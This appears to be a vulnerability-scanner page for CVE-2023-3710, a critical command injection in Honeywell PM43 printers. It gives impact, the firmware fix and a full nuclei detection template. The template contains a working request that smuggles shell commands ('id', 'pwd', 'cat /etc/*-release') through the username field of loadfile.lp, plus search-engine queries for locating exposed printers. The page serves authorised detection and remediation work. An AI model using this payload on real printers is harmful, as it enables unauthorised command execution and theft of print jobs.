Honeywell PM43 Printers - Command Injection

criticalseverity

9.8CVSS score

49%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Improper Input Validation vulnerability in Honeywell PM43 on 32 bit, ARM (Printer web page modules) allows Command Injection.This issue affects PM43 versions prior to P10.19.050004. Update to the latest available firmware version of the respective printers to version MR19.5 (e.g. P10.19.050006)

Impact

Unauthenticated attackers can execute arbitrary operating system commands through the username parameter in loadfile.lp, potentially gaining full control of Honeywell PM43 printers and intercepting print jobs containing sensitive documents.

Fix

Update Honeywell PM43 printer firmware to version P10.19.050004 (MR19.5) or later that properly sanitizes input in loadfile.lp and prevents command injection attacks.

How to confirm it

Send: POST /loadfile.lp?pageid=Configure
Positive when: matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)/ AND contains "Release date" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3710 -u <target>

The full check

id: CVE-2023-3710

info:
  name: Honeywell PM43 Printers - Command Injection
  author: win3zz
  severity: critical
  description: |
    Improper Input Validation vulnerability in Honeywell PM43 on 32 bit, ARM (Printer web page modules) allows Command Injection.This issue affects PM43 versions prior to P10.19.050004. Update to the latest available firmware version of the respective printers to version MR19.5 (e.g. P10.19.050006)
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the username parameter in loadfile.lp, potentially gaining full control of Honeywell PM43 printers and intercepting print jobs containing sensitive documents.
  remediation: |
    Update Honeywell PM43 printer firmware to version P10.19.050004 (MR19.5) or later that properly sanitizes input in loadfile.lp and prevents command injection attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3710
    - https://github.com/vpxuser/CVE-2023-3710-POC
    - https://twitter.com/win3zz/status/1713451282344853634
    - https://hsmftp.honeywell.com:443/en/Software/Printers/Industrial/PM23-PM23c-PM43-PM43c/Current/Firmware/firmwaresignedP1019050004
    - https://hsmftp.honeywell.com:443/en/Software/Printers/Industrial/PM23-PM23c-PM43-PM43c/Current/Firmware/firmwarexasignedP1019050004A
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3710
    cwe-id: CWE-77,CWE-20
    epss-score: 0.4904
    epss-percentile: 0.98892
    cpe: cpe:2.3:o:honeywell:pm43_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: honeywell
    product: pm43_firmware
    shodan-query: http.html:"/main/login.lua?pageid="
    fofa-query: body="/main/login.lua?pageid="
  tags: cve2023,cve,honeywell,pm43,printer,iot,rce,vkev,intrusive,vuln

http:
  - raw:
      - |
        POST /loadfile.lp?pageid=Configure HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=x%0aid;pwd;cat+/etc/*-release%0a&userpassword=1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)'

      - type: word
        part: body
        words:
          - 'Release date'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from